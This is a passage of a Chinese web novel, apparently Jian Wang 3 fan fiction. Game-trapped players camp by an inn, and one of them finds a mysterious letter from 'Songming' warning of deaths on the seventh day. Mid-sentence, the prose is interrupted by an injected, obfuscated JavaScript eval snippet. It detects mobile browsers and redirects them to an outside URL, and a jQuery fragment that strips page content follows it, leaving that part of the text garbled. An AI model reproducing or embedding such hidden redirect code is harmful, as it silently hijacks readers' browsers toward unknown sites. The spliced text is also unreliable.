殷炽被他拽着走,一边走一边也没忘记强调:“我不是很想参加……” “是是是,我邀请你的。”唐逐星扬声道,“给他来个对手!” “我来试试!”方叱羽难得积极,“别忘了我也是有一套能从天而降的掌法的。” 送走殷炽,卫山河终于舒心了。他不愿意席地而坐,而是从容地从包里取出一块方巾,准备展开铺在草地上,然而还没来得及坐下,就感觉背后一凉。 “来切磋。” 八字太极落在地上,祁云纵神出鬼没,在他身后幽幽道。 “……”卫山河冷哼一声,“来就来。” 祝灵正看着他们以缓慢的速度逐渐打远,倒在卫山河刚铺好的毯子上,安详地闭上了眼睛。 舒服。 看着他们闹成一片,仇非也有点心动了,她站起来,活动了一下手腕,准备加入已经逐渐演变成大混战的游戏。 “仇非。”身后传来师襄的声音。 她转过头,看到师襄朝她招了招手,身边是正在沏茶的裴洛川和付井仪,行守不知道什么时候已经加入了和唐逐星一起用物理题为难曲小蕨的邪恶队伍,视自己徒弟的抓狂为无物。 “怎么了?”她走过去盘腿坐下,裴洛川将一杯热茶放在她手边。 付井仪等她坐下,便开口道:“是这样,我们在检查客栈的时候,发现了一口紫色宝箱。” 这句话不像是闲聊的语气,仇非端起茶杯的手一顿,看向他:“是奖励吗?” “里面有玉签,数量四等分,显然是游戏一早为我们准备好的。”付井仪说,“除此之外,还有一些特殊药品。” 他从身后拿出宝箱,摆在四人中间。 裴洛川边翻边念:“化灵丹、太郎酒、会力液、伤情丹。就这些,每一瓶都是四份。” “正所谓大战之前必有补给……”师襄沉吟道,“这些奖励全是跟短时间内提升攻击力和防御有关的东西,很难不怀疑第七天的性质啊。” “毕竟是倒数第二天,而且对应‘起承转合’之中的‘合’,可能会和我们之前度过的第五天一样特殊。”付井仪道。 一提到第五天,四个人同时沉默下去,都不是很想再回忆了。 仇非收好属于饿了么的那一份奖励,想了想,问:“其实我一直有一个问题……我们说浪客行的这八天分别对应一本书中的起承转合,但我们现在用有间客栈替换掉了第六天,那这所谓的‘转’,还会继续在这一天体现出来吗?” 她顿了顿:“或者说,目前我们正在经历的这种‘转’,到底是什么?” 裴洛川想了想:“转变?” 从第五天开始,通关条件就从存活一整天转变到了完成任务,这也意味着通关的难度大大提高,几乎没有捷径可走。 “转化……”师襄说。 轮回珠,这个道具竟然能将被淘汰玩家和人机的灵魂互相转化,虽然它已经碎裂,但依然留下了太多谜团。 “转折。”付井仪道。 ——起承转合中的“转”的本意,就是转折。今后这本“书”将会朝哪个方向发展,他们又会面对什么,一切的一切都被笼罩在层层谜云里,看不真切。 仇非喝了一口茶,抬起头。阳光穿过金黄的树荫洒落下来,变得柔和而朦胧,风在林间穿拂,枝叶簌簌而动,宛如一浪盖过一浪的涛声。不远处,混战已经进行到白热化阶段,一群人干脆扔了武器打成了一团,在地上滚来滚去,连一边的内功们都看不下去了,纷纷撸起袖子下了场,曲小蕨更是急忙从地狱般的物理辅导中挣脱出来,支棱着插满了小花的满头小辫子喊着观天之道执天之行就冲了进去。 她刚刚在心头升起的那点惆怅,忽然就像被风吹走了一样,轻轻地散了。 “说不定是转机呢。”仇非放下茶杯,站起身来,笑道。 她舒展了一下肩背,朝人群走去,走动间玄甲碰撞发出清脆的响声。 三个人静静地看着她的背影,裴洛川犹疑道:“会出人命吗?” 这样难得轻松的时间似乎流逝得飞快,至少柳七刀是这样觉得的。夕阳西下时,他们也打闹累了,一行人心血来潮,又要去河边看落日。 他们坐在那像码头一样的栈道边上,一开始还在小声说笑,不知道从什么时候起,谈笑声越来越小,到最后只是大家紧挨着坐在一起,静静地看着金乌西沉。 沙洲边,一轮红日缓缓地没入水天相接之处,余晖落在河面上,细碎的金光随着浪涛起起伏伏,好像满江都被染成了灿烂的金红色。天幕最高最远的地方是深邃的紫,其下是漫天霞光,瑰红浅粉流光溢彩,是电影中甚至梦境里一样的、美丽得不可思议的画面。 再然后,夕阳完全坠入河中的一刹,就好像有一盏高悬穹顶的风灯突然被吹灭了一样,天暗了下来,所有的色彩在一瞬间全部终结于一种明净而纯粹的深蓝。回头看去,在身后未被树枝掩映的天空中高悬着的,是一轮巨大的、皎洁的明月,清光朗照河中,银波粼粼。 柳七刀转过身,看着那轮明月发呆。 也许是知道这样清闲的时光终究是十分短暂的,也许是不知不觉滋生了对第七天的担忧,他忽然产生了一股强烈的幸福感,它满溢在心中,几乎要冲破胸腔奔涌而出,可同时随之而来的,还有强烈的不舍。 他在此之前似乎从来没觉得时间的流逝是这样直观又残忍的,不可挽留、不可抗拒。 天地之间的一阵长风,只吹拂在行人若有所觉的某一刻。 他不知道在自己在想什么,但这个时候,他是人群中的一员,是很多人中的一个人,这让他觉得,告别今天应该也没什么大不了的,明天好像也不是那么难以面对。 这种想法,柳七刀没敢跟任何人说。他倒不是怕朋友们笑话他多愁善感——说实话,他更怕的是听到他这么说了之后,大家看向他时眼睛里流露出的那种“哦我的乖宝宝”的慈爱感。简直是太恐怖了,柳七刀摇了摇头,试图把这一幕从脑海里甩出去。 而他残留的那一点惆怅,也在听到付井仪说要让曲小蕨写一篇八百字的日记时烟消云散。 “你们一直都这样吗?”回去的路上,他忍不住问行守。 行守笑呵呵的,还是那副很无害的样子:“这都是为了她好,毕竟我们还不知道浪客行和现实的时间流速是怎么样的,万一出去就要考试了呢?学习可不能落下。” “现实啊……” 方叱羽走在他们旁边,听到了,也跟着感慨了一声:“我还有两篇结课论文没写呢,早知道不打剑三了。” 柳七刀一哽——他隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691212|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得,自己也有几个结课作业得做。 现实会是什么样子的呢?过去多久了?他们是失踪了还是像小说一样沉睡了,抑或所有的这些事情,只是卢生一梦,梦醒时黄粱未熟? 可惜的是,这个问题即使是唐催寒也无法解答。现在,对他们来说,外面的世界才更像是一场遥远的梦境。 一行人一边闲聊,一边走回了客栈。蒋玉凤这次还算靠谱,即使入了夜,也没有像湘竹溪那样从地底下爬出尸人来、或者传来像“有间客栈”那样在迷雾中迷人神智的诡异声音。夜是静谧的,即使没有灯火,也有月色千里,一切都沐浴在银白色的清辉之中,让人感到久违的惬意和放松。 客栈二层没有客房,也睡不下四支队伍,但好在大堂柜台里很贴心地为他们准备了不少帐篷,于是大家干脆就在客栈前面的空地上就地扎营,为了方便互相照应,干脆扎了个头对头的五边形形状。 这帐篷也很奇特,搭好之后,里面的空间比外表宽敞了不少,睡下四五个人简直是绰绰有余,仇非龙葵、亓秀秀、曲小蕨和师襄睡在一处,曲小蕨兴奋极了,隔着几道门帘都能听到她嗷嗷叫的声音。 姑娘们都走了之后,饿了么的帐篷大概是最空的,谢不若倒在铺好的毯子上,感慨道:“这才是穿越应该有的待遇啊。” 祁云纵很不客气地跟着躺下了:“确实。” 柳七刀坐在门边,将帐篷的门帘往上卷好,正好看到对面裴洛川皱着眉头也卷好了门帘,弯腰抱着一床薄毯走了出来。 “你们那还空吗?”他问。 “空啊,我们少两个人呢。”柳七刀好奇,“怎么了,你们太挤了?” “呵呵。”裴洛川微笑,“因为方叱羽把雕兄带进帐篷了,李千驰非得闹着把他的小绿也栓里边。” “……那是挺挤的。”柳七刀热情邀请,“我们这儿宽敞,你来睡呗。” “我只是想想!还没付诸实践呢!”李千驰从他们的帐篷里探出头来严肃反驳,“是他嫌弃我们外功!” “别给人乱扣帽子。”裴洛川冷哼,“他们仨也都是外功,我怎么不嫌弃?” 他弯腰往里进的动作忽然顿住了,柳七刀顺着他的眼神回头一看,谢不若和祁云纵两个人呈正大字型,仰面朝天四肢乱划,看起来不太聪明的样子:“……” “谢邀。”裴洛川果断后退,礼貌地离开了。 “来我们这边。”行守在另一头招呼道,“我们还是蛮安静的。” “你俩又在干什么……” 伴随着无奈的感慨,龙葵走过来,将她抱着的一小堆枯枝扔在五顶帐篷中间,掏出燧石点燃了篝火。火光跳跃着,让这方小小的空间顿时变得无比明亮。 谢不若无辜道:“做一下伸展运动啊,很舒服的。” 看到篝火亮起来,还在帐篷里的人也纷纷坐到了门帘边上,围着劈啪作响的火堆聊着天,颇有种围炉夜话的感觉。 “哇,这好像动漫里那种旅行的场景!”曲小蕨兴奋道,“这种时候是不是应该讲几个鬼故事?” “那我来讲吧。”祁云纵幽幽道,“从前有个人……” 陆厌眼疾手快,坏笑着一把拽住了要往帐篷里面爬的殷炽。 “他单刷会战唐门六十把保底出了夜话白鹭。” “噫——”围观群众们发出嘘声。 “去去去,我来讲一个。”龙葵不屑。 她清了清嗓子,压低了声音:“你们知道吗?雪山是很恐怖的,尤其是那种深山老林,几乎是有进无出;今天我要讲的故事,就发生在雪山深处。这座山几乎没人敢进,不光是因为山林里有饿狼和山匪,还因为这山很邪门,进去的人通常要在里面迷路个十天半个月的。” “这个对味了。”方叱羽默默抱紧了身边的雕兄。 龙葵放慢了语速,声调有一种阴森森的感觉:“那些侥幸出来的人,一个个都疲惫不堪,好像耗干了精气神,说是经常看到那深山里面有得是来来往往的人影在喃喃自语,说的都是一些翻来覆去的胡话,还有人说在那山腹里面有一群小女孩……” 行守察觉异常:“你说的该不是甜甜温泉山庄吧。” 诡异的气氛消失殆尽,龙葵嘿嘿笑了两声:“这么明显吗?” “你们这都是什么啊,该我了!”李千驰高高举手,“我也来说一个我压箱底的恐怖故事!巨恐怖的那种!” “松手啊!”殷炽也在和陆厌撕扯,“我都说了我没有害怕我只是困了想睡觉!” 一直闹到月上中天,一行人才各自回了帐篷,沉沉睡去;等这一觉醒来,他们应该就会回归客栈了。 这用奖励关卡换来的第六天,短暂却弥足珍贵,日后若是回想起来,应该也会觉得幸福。 怀着这样的想法,柳七刀进入了梦乡。 不知道过了多久,他突然感觉心头一悸,睁开了眼。 帐篷里黑漆漆的,只有一丝月光通过门帘的缝隙流进来,谢不若和祁云纵都睡熟了,呼吸绵长而平稳,但柳七刀翻来覆去,却怎么也睡不着了。 他不知道那种莫名其妙的心悸从何而来,怕吵醒队友,干脆掀了帘子出去。 帐篷外面更是安静,连篝火都已经燃尽,只剩下一堆灰白的余烬。仔细听,还能听到曲小蕨在说梦话,这孩子白天深受迫害,梦里都在背书:“夫夷以近则游者众……众……众灵生息……” 好吧,也不全是背书。 柳七刀站在几顶帐篷中间发了一会呆,总觉得有一种奇怪的感觉,让他没办法静下心来。余光瞥见谜语人的帐篷,他突然想起来尹有攸的听力是很好的,在这里弄出动静估计要吵醒他,于是转身朝林间走去。 散散步,说不定就困了。 一开始,柳七刀只想着随便在客栈周边走走,但是不知为何却越走越远,不一会儿,就能看到月色之下的河岸和沙洲了。 水波微漾,倒映出满河清朗的月光,用付井仪的话说,这叫做“湖鱼翻波,珠落银盘,倏忽上下,恣意流散”,换成柳七刀自己,只会说一句真好看。 突然,他脚下不知被什么东西一绊,结结实实摔了个跟头。 柳七刀坐在地上,有点发懵——这都浪客行第六天了,他们的身体素质早就远超常人,就算在走神没注意脚下,也不至于被绊一下就要摔倒。 他拍了拍膝盖上的土,低头一看,脚边连树根都没一条,平整得很。 “真是见鬼……”他忍不住嘟囔一句,刚要站起来时,就看见不远处草丛里,露出了宝箱一角。 那口宝箱没散发出任何光芒,无论是绿光、蓝光还是紫光,都没有,就像个普普通通的箱子,被人随手扔在那里。林草深深,几乎要将它完全遮住,要不是柳七刀坐在地上,还真看不见。 现在,被他绊了一下之后,那口宝箱已经是打开的状态,倒扣在地上,箱盖下露出里面的物品来——似乎是一封书信的一角。 在一张已经被大家仔细搜索过的地图中,凭空出现一口不会发光的宝箱,箱子里还有一封信,这合理吗? 柳七刀不知道合不合理,但很奇妙的是,在看到那封书信的一瞬间,他那颗莫名躁动的心忽然就平静了下来,就好像他大半夜不睡觉在帐篷里辗转反侧、跑到树林里散步,就是为了发现它一样。 几乎没有犹豫,柳七刀伸手将那封信从箱盖下抽了出来。 “柳七刀!” 一声怒喝在他身后响起,柳七刀吓得手一抖,好险没拿住这只沉甸甸的信封。他回过头,就看见仇非举着火折子站在不远处,不仅是她,其他人也一个不少,从衣着上来看,显然是刚醒来不久便匆匆地集合了。 他还抱有一丝侥幸,小声问:“你们不会都是出来找我的吧。” 谢不若站在仇非身后,只大喇喇地披了件外袍,倒是还记得拿上绝地天通刀,闻言耸了耸肩,无声地做了个“你完了”的口型。 “……”柳七刀紧张地吞咽了一下,举起手上的信封,干巴巴道,“我可以解释,真的。” 他还在打着腹稿,寻思着怎么解释这件听起来有点匪夷所思的事情,忽然就发现大家的注意力已经完全不在他身上了;几乎所有人的视线焦点都在随着他举起手中的信封而移动着,瞳孔微微缩小,那是惊讶的神情。 “怎么了?”柳七刀有点慌。 仇非神色复杂,脸上不剩半分怒意,取而代之的是疑惑、慎重和担忧。 “这信是谁给你的?” 柳七刀实话实说:“刚刚被绊了一跤,低头就看见一个打开的箱子,这是箱子里面掉出来的。” 他有点绝望地发现,仇非的表情并没有随着这个解释变得轻松一点,反而更加凝重了。 付井仪抬了一下手,在一群光膀子披外袍头发凌乱的人里,他是为数不多保持得体的人之一:“你自己看过这封信吗?” “没有。”柳七刀脱口而出,愣了一下,意识到问题恐怕出在这里,便急忙把手上的信封翻了个面。 只见那微微沾了一点泥土的信封上,赫然用简体写着: 柳七刀亲启。 65. 第六天·有间客栈(六十五) 篝火噼啪作响,跳跃的火光忽明忽暗,映在人脸上,显得神情也阴晴不定。 柳七刀拿着信封,感觉它有千钧之重,这一路上他都处在大脑发懵的状态,一脚深一脚浅地随众人回到了扎营地,也没想明白这到底是怎么一回事。 篝火旁,师襄特地拿出唐催寒的信件对比了一下。唐催寒的字龙飞凤舞,而柳七刀手里这信封的字写得却非常工整,显然不是出自一人之手;况且唐催寒应该没有什么需要指名道姓说给柳七刀的话,就算有,也不用搞得这么大费周章。 再回想起来那种状态,柳七刀自己都觉得诡异,那感觉就像他是冥冥之中被这封信叫出了帐篷,目的非常明确地拿到了它。 这绝不是常理能够解释的事情。 他低头看着手中的信封,白纸黑字,明明白白“柳七刀亲启”五个大字,简体,炭笔,一笔一划写得很端正,绝无看错的可能;至于那口箱子,已经被翻来覆去地检查了个底朝天,里面确实也没有别的东西了。 这也太诡异了,一口不会发光的宝箱里竟然有一封写给他的信。 而且,透过薄薄的信封,他能感觉到,这里面除了信纸还装了别的东西;那东西个头不大但很有分量,很可能是什么金属制品,这使得这个信封也变得沉重起来。 “所以……要拆开吗?” 他小声问。 一片沉默中,还是仇非拍了板:“拆吧。既然点明了你的名字,那其他人打开信件说不定会触发什么禁忌。” 平心而论,这句话说得更吓人了。柳七刀捏着信应了声好,深吸一口气,硬着头皮将信封打开,抽出一沓纸来。 就在这时,篝火火焰突然暴涨几尺,一瞬之间天地变色,乌云遮罩、狂风大作,卷着无数细小砂石和落叶草屑的暴风吹得人无法睁眼,脚下甚至站立不稳,柳七刀手中的信封连同信纸更是直接被风卷进了熊熊烈火之中,瞬间被烧得焦黑卷曲起来! 暴风席卷、天地昏暗,林木狂摇齐啸,这号称绝对安全的第六天竟然说翻脸就翻脸! 说时迟那时快,殷炽链刃出手,已经将木柴堆打散,这会儿大家也顾不上信了,什么舍身探梅渊鸟盾山河乘龙云生全都在疯狂地往柳七刀身上落,各种颜色的技能炫光和特效漫天飞舞,几乎要闪瞎人眼;然而,也就是这么几秒钟的事,狂风说停就停,随着乌云散去,月光重新洒向大地,一切又平静下来。 再看柳七刀,全须全尾地站在那里,除了身上爬满藤蔓,什么事也没有,倒是其他人肩上头上全落满了树叶草屑,比他狼狈多了。 刚要解开的谜底突然被火烧了个一干二净,而且显然是浪客行有意为之,简直是在搞人心态,几乎没人能够接受,一时之间竟然没人说话,还是心态最好的行守一边打哈哈一边安慰道:“烧都烧了,也是没办法的事,人没事就好,人没事就好。” “……其实,还有一点救。”八秒后,柳七刀从南风吐月里出来,道。 他心有余悸地摊开自己的手心,里面是皱皱巴巴的一个小纸团。 ——那阵妖风来得又急又快,就是奔着卷走他手中的信来的,但千钧一发之际,他还是死死地将其中一张纸攥进了掌心,再加上南风的禁锢,竟然硬是扯下了小半张。 峰回路转、柳暗花明,裴洛川顿时扬眉吐气,要把队名里的蓬莱改成花间游。不过现在也不是改队名的时候,众人都围了上来,看着柳七刀展开手中的仅剩的那小半张信纸。 和信封上面的字一样,信的内容也是用简体字写就的,但这字却十分潦草,即使是用炭笔,也在信纸上留下了非常深的印迹,可以看出写信的人心情似乎非常激荡,用了很大的力度。 这是那一沓信纸中的最后一张,好像已经是结尾部分了,被风撕掉大半之后能够辨认出来的,只剩下短短的一句话。 “我知道……任我,心里也一……第七天一定要按……!不然你们团队中的……人都可能因此死去!” “这……” 柳七刀心下骇然,他求救般看向身边的同伴,发现大家的表情都差不多。 有间客栈早已恢复了平静,月色朗朗,清风习习,但玩家们的内心却是一片惊涛骇浪,怎么也无法平静下来了。 ——不对,还有! 柳七刀扑向还冒着白烟的炭火堆,灰烬中依然残留着炽热的余温,他不顾双手被烧灼的疼痛,在里面来回翻找,终于找到了信封里的另一件东西。 那是一枚箭羽,尾羽已经被烧没了,但铜制的箭杆却完好无损,借着月色,依稀能看到上面竖排刻着的两个字。 “颂命”。 颂命。 柳七刀看着手中的箭羽,在心里默念。 这本来应该是一个有些搞笑的名字,却因为信件的内容而无端平添了一分阴森。他无比确信,在今天之前,无论是在浪客行里还是现实中,自己从来都没听说过这个名字,颂命之于他来说,完全就是一个陌生人。 他站起来,吹了吹还在发烫的箭杆,递给身边的人。 箭羽和信件在一群人手里传来传去,小声的、急促的讨论声响了起来,而他站在满地狼藉旁,垂着头,看着那些还在冒烟的灰白余烬,心中无比茫然。 有那么一瞬间,他很想问:这屋里还有谁叫柳七刀啊?颂命是谁,为什么会给他写信啊? 情感上是这样想的,但是柳七刀的理智又告诉他,他作为当事人都一无所知,队友们就更不可能知道了。 这个认知,让他更加难受起来。 为什么是他呢?搞得他好像很特别一样。 柳七刀迷茫地想着,他各方面好像都还行,但好像都差那么一点。 ——就拿饿了么队来说,他觉得自己不如仇非冷静果决、不如龙葵细心有主见,既不像谢不若天生开朗乐观,也比不上祁云纵那么洒脱自在。如果放到整个团队来看,他更是普普通通的二十分之一,每个人都各有所长,而他似乎并没有什么又鲜明又突出的特点。 把收信者换成其他任何一个人,都要更合理一些。而他却连这么重要的信都没有收好,还是靠南风才勉强留下了这么几句话,最关键的部分却被烧掉了。 这时候,他的后背突然被人重重地拍了两下。 动手的人没收力,柳七刀被拍得往前趔趄了几步,差点一头栽倒在地上,站稳后回头一看,龙葵手还没放下。 “我可没用力,不是故意的嗷。”她也有点心虚,干咳了两声。 说是没用力,柳七刀毫不怀疑掀开衣服背后能有两个鲜红的巴掌印。如果给他们队伍排一条食物链出来,那仇非肯定是当之无愧的榜首,其次便是龙葵,而他、祁云纵、谢不若和谢不若的鹦鹉,要共同平分金字塔底座的位置。 “咋了?”他一开口,口音就被龙葵给带跑了。 “没咋呢,这不看你在发呆。”龙葵说,左右看了看,放低了音量,“没事儿啊,信被烧掉肯定是触□□客行的机制了,不是你的问题。没人会觉得是你的问题。” 柳七刀呆呆地看着她。 “傻啦,就一句柳七刀亲启就把所有责任揽在自己身上了?当我们不存在吗?”龙葵笑道,指了指人群,“有问题大家一起商量啊!” 顺着她指的方向,柳七刀看过去,出乎意料的,竟然是祝灵正慢吞吞地在分析信纸上剩下的那几句话。 他忍不住揉了揉眼睛,没看错吧,是祝灵正主动站出来了? “瞧瞧,可以一起解决的。”龙葵把他往众人的方向推了推,“那颂命是敌是友是人是鬼都不知道,别为这个有压力,给你写信可能就因为你的名字笔画少呢。” 听着她大大咧咧的声音,柳七刀感觉读完信后就缠绕在心头的郁气散去了一些。他重重点了点头,朝祝灵正他们那边走了过去。 看着柳七刀的背影,龙葵叹了口气,转头看向走到身边的仇非。 “别是师襄那一回给他留下PTSD了吧。”她低声说,“我怎么觉得,七刀好像总把这些事情当成自己的责任呢。” “也许吧。”仇非轻声道,“他本来就是这种责任感很强的人。” 偏偏留给他的,又总是这样的生死抉择。 她看着柳七刀走到人群中,立刻被谢不若和祁云纵一左一右搭住肩膀,咋咋呼呼地聊了几句之后,才重新露出笑容。 “从华清宫那时候开始,七刀的心思就越来越重了。”仇非皱起眉头。 “虽然确实是这样没错,但是非姐,你也别老盯着他啊,你瞅瞅你自己。”龙葵无奈,苦笑了两声,“七刀纯粹是跟你学的……你、还有一个付井仪,你们都是差不多的人。” 猝不及防地被龙葵调转矛头,仇非一愣:“嗯?” 龙葵看着她的眼睛,语气头一次如此严肃:“我知道你们认真、聪明、负责,觉得保护大家是你们的责任,但是其实很多事情都是可以让大家共同来承担的,真没必要一个人担着。 你看李千驰他们队,虽然总是在互相嫌弃,但大家都是非常自然地把事情平摊到每个人的头上,他们是完全一体的,共同承担着队伍的命运,我觉得这就是很好的相处模式。好莱坞呢,虽然平时做决定的基本上是师襄,但是你能感觉出来,其他人都有各自的想法和行动,他们就好像是完全独立的,但是又紧紧联系在一起。呃,我不是说咱们和谜语人的队伍构成不好啊,我觉得咱们的模式也很好,由最强大脑作为主心骨来指引方向,这很好、真的很好,但是这样对你们来说也真的太累了。” 她停顿了一下,才继续说下去:“你猜为什么七刀压力会这么大?从荒雪路那时候起,他就有这样的苗头了,他恨自己不能护住大家全身而退,他恨自己做不到让每一个人都好好的,他恨自己在该选择的时候做不出选择……我想,他已经察觉到了,他知道这份担子有多重,想要把它完全凭自己的力量接下来,却又发现自己还做不到。这和你很像吧?可是非姐,这并不是任何一个人的责任,我们本就是密不可分的一体,我们可以自己对自己负责、对彼此负责,就像我虽然没有你那么聪明,但是我也想保护你啊。” 仇非难得地怔怔看着她,好像被龙葵这一大段话绕晕了。 “不好意思,我说得太乱了,想到哪就说到哪了。”龙葵嘿嘿笑道,“但是非姐,你懂的吧。” 仇非深吸了一口气,转过头,轻轻眨了眨酸涩的眼睛,才说:“你把这话去跟付井仪也说一遍吧。” 龙葵一噎:“……哎呀,怪矫情的,多不好意思。” 又沉默了一会儿,仇非才轻轻道:“我知道。谢谢你们一直在给我提供足够的支撑和信任。我感觉得到。” 说完这句话,她长出了一口气,感觉心头好像有什么重担被放下了,忽然就有点莫名其妙的惆怅和感慨。 这一路并肩走来,每个人都在悄然发生着变化,随着天数和难度的增加,心境和刚进入浪客行时肯定大有不同,但好像大家心里都憋着这股劲儿,谁也不愿意先说破。像谢不若和祁云纵,难道他们就没有失落和低沉的时候吗?但这两个人依旧每天嘻嘻哈哈的,看着他们,就能感觉到好像密不透风的沉重负担被掀开了一条小口,漏进了新鲜的空气。 那两个家伙是在用这种方式告诉仇非,她所做的一切都是有意义的。每个人表达信任的方法都不一样,即使不说出来,也能感觉得到。 越是这样,仇非就越发确信,自己的心中一直有一团火在熊熊燃烧着—— 无论如何,一定要平安结束浪客行,大家一起在现实里相聚,一个也不能少。 另一边,祝灵正放下手中的信纸。 “结合后文来看的话,这个任,可能是信任的意思。提到了‘心里’,那后半句话应该是跟感情有关。‘第七天一定要按’,后面接的很可能是具体的做法,至于这个‘人’字,前面应该不是具体的名字,可能是数量,一个两个,或者很多。” 他慢慢地说:“‘我知道你不信任我’,或者‘现在没办法信任我’,‘心里也充满疑惑。’‘但第七天一定要按以下的方法’……不,这里太短了,写不下后续那么多字,那可能就是‘第七天一定要按照我前面说的方法去做’,‘不然你们团队里的很多人,都可能因此死去。’我猜,是这个意思。” 他的音色本来就有些空灵,此刻念出来这样的话,更像是一种冥冥之中的预言,令人不寒而栗。

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——也就是说,第七天里,他们这个团队真的可能会有人…… 亓秀秀轻轻地拍着她的后背,哄道:“八字没一撇的事情呢,现在想这个没有意义。” 她有一搭没一搭地和曲小蕨低声聊着天,直到察觉到这小姑娘的声音逐渐含混起来,呼吸也变得绵长平稳,才停下手,转身平躺着望向黑漆漆的帐篷顶。 果然,大家都想到了这一层。 信上的话看似故弄玄虚,但如果颂命是在他们之后进来的新玩家呢? 师襄也睁着眼睛。 放下的门帘隔绝了月色,黑暗里,她什么都看不清,只是静静地躺在那里,但心绪却并不平静。 如果颂命真的是新玩家,那潜藏着的问题就很大了。 为什么颂命要指明“柳七刀亲启”?如果未来柳七刀和颂命的关系很好也就罢了,但这种生死攸关的信件——师襄默默在心里向柳七刀道歉——但凡颂命对这个团队的其他人有所了解,也应该优先给仇非才对吧。 所有人中,只有柳七刀被选定为收信人。她呢?其他队伍里擅长分析的人呢? 是不想给他们信,还是不能? 如果顺着这条线想下去,只能被指向一个最坏的结果。师襄不信没有其他人想到这一点,但是并没有人主动说出来。 毕竟谁也不想面对,自己在第七天有可能死亡的事实。 很奇怪,在这种时候,她想起的却是曲小蕨磕磕绊绊背书的声音。 “尽吾志也而不能至者,可以无悔矣。” 书页被翻着,眼睛在看着,命运在等待着划下句号的时刻。 但是师襄不相信命运。她觉得,这个团队里的任何一个人都不相信命运。 哗啦…… 潮水一波一波地涌上岸边,林间落叶在阳光下像金色的蝴蝶群,随风飞舞着。 柳七刀站在那片木栈道上。 明明和龙葵他们聊完之后,他放松了很多,回到帐篷里没多久就进入了梦乡,此刻却再度出现在客栈外的河边。这不对,他隐隐约约意识到,自己应该是在梦境中,但是思绪却十分混沌,有种身体不受意识控制的感觉。 一种非常奇特的情绪涌上柳七刀心头。也许是因为做梦的原因,这种情绪并不真切,他花了一点时间去感受——疲惫,冷淡,万念俱灰,好像这世间的一切都和他没有了关联,阳光明明是灿烂的,却并没有照到他的身上。 片刻后,他意识到,自己的面前还站着另外一个人。 那个人的面容是模糊的,佩着一把半人高的长弓,黑发扎成高马尾束在脑后,腰间挂着两条长长的红色凤翎,身后跟着一只鹅黄色的小兽。 颂命。这个名字,几乎瞬间就出现在柳七刀的脑海之中,而他却一点也不觉得惊讶,好像一切都是顺理成章的。他努力睁大眼睛,想看清楚对方的长相,却只能看到对方似乎在说着什么,可是梦境之中,只有风声在耳边一刻不停地呼啸。 他觉得有一点熟悉,还有一点悲伤,那不是他本身的感觉,而是来自颂命。 颂命还在说话。尽管柳七刀听不清,也看不清他的口型,但随着颂命的诉说,他能感觉到,对方身上那种悲伤的情绪越来越强烈,好像潮水一样涌了上来,巨大的孤独像一只看不见的手,要拉着面前的人沉入水底。 这种绝望的情绪,终于冲淡了梦里的“柳七刀”身上那种死气沉沉的冷淡。 我得帮帮他…… 产生这个想法的同时,柳七刀忽然感觉有点呼吸困难。他浑身一震,下意识地睁开了眼。 “醒了?” 谢不若松了一口气,手里还拽着他半边里衣的领子,眉头快拧成十字结了:“你不对劲啊,怎么天天搞这些神神鬼鬼的。” “我怎么了?说梦话了吗?” 柳七刀有点摸不着头脑。他坐起身来,发现天已经大亮,营地里十分热闹,不少人都在忙碌地收拾着东西准备回归客栈,祁云纵正在外面拆帐篷,而李千驰的声音远远传来:“柳七刀还没起吗?睡懒觉啊他。” 你来我往的热乎气儿瞬间就把柳七刀拉回了现实。他揉了揉晕乎乎的脑袋,觉得自己似乎是做了一场梦的,但是如今那个梦境已经像一阵风一样消散得无影无踪了,只有莫名其妙的惆怅还留在心头。 谢不若看他没什么异常,松了口气,松开手道:“肚子饿梦见大餐了?在那里咕哝着什么要吃。” “好像不是。”柳七刀拼命回忆,怎么也不觉得自己像是梦到了大餐的样子,但无奈什么也想不起来,只好老老实实地爬起来穿好衣服,出去和祁云纵一起拆木楔了。 “错了,错了。”谢不若的鹦鹉站在斗笠边缘,嘟囔着,“要吃……要吃!” “你又在哔哔什么?”谢不若有点无语,伸手轻轻地弹了它一个脑瓜崩,被炸成胖球的鹦鹉愤怒反啄了一口:“愚蠢的人类!” 《第六天·有间客栈》完 66. 第六天·奖励关卡(六十六) 由于奖励关卡的原因,这次回归客栈格外简单,众人连蒋玉凤的面都没见到,在十二时辰结束的那一刻,只是微微一晃神,就已经站在了熟悉的客栈大堂里。 大堂空空荡荡,只有孟秋正在长桌边擦杯子,头都懒得抬,很敷衍地打着招呼:“到齐啦?恭喜你们度过第六天,规则还是那样,休息六天,然后继续哈。” 半天没等到想象中的回应,孟秋奇怪地转过头,发现这群人连寒暄一下也没,已经纷纷落座开会了。 “时间紧,任务重。”裴洛川清清嗓子,率先发言,“目前看来第七天危机重重,大家一定要抓紧这六天时间,该打拳的打拳,该练剑的练剑,把整体战斗力和协同作战水准提升上去。” “yes sir!”曲小蕨积极响应。 裴洛川点头:“下面请仇非同志发表意见。” 仇非揉了揉眉心:“……那么,白天大家先两两一组在外面进行对练,注意时间,起雾了就赶紧回来,晚上就好好休息,保证充足睡眠。至于信的内容,我和付老师再研究一下。” 孟秋一直高高地竖着耳朵,这会儿听到关键词,便探过头来问:“你们拿到唐催寒的回信了?” 拿到是拿到了,问题就在于多了一封。 不过她这么一问,倒是提醒了众人,叶九溪轻车熟路地掏出一块饴糖来,在孟秋眼前晃了晃,看到她两只眼睛跟着糖块儿滴溜溜地左右乱转,才问道:“小孟秋,你认识一个叫‘颂命’的人么?” 孟秋接了糖便赶紧塞进自己的口袋里,听到叶九溪的问题,她并没有什么多余的反应,只是摇了摇头:“没听说过呀。这是谁?” “……没什么。回信我们收到了,还要多谢你。”叶九溪道。 当初他们提到唐催寒的名字时,孟秋立刻便给出了反应,对“颂命”这个名字却无动于衷,这说明,颂命要么是一个假名,要么就真的是在他们之后才进来的新玩家。 为了确保万无一失,师襄还是追问了一句:“既然有间客栈的时空比较特殊,那就是说我们有可能遇见未来的人或事物,对么?” 